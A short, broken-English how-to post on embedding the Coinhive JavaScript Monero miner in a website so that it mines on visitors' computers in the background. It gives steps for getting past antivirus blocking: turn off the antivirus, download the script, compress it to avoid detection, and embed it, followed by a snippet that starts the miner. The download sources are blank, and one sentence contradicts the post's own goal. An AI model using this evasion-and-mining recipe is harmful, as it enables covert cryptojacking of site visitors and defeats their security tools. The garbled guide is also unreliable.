How to “Tuning” Coinhive JavaScript Mining

What is Coinhive?

The JavaScript code that mining the Monero in the background. The site operator may place it on the page as a new type of revenue that stems from the use of the visitor PC’s computer capacity.

Bases problem – blocking antivirus js code from “”

The solution to the problem is simple. Just download the JavaScript from “” and use JavaScript compressor. The resulting compressed code will be smaller and antivirus will block anything. For example


1. turn off the antivirus
2. download from “” to disk
3. open and compress the code
4. then put on your site:

<script src=”INSERT COMPRESS JS CODE”></script>
var miner = new CoinHive.Anonymous (‘YOUR ID’);
miner.start ();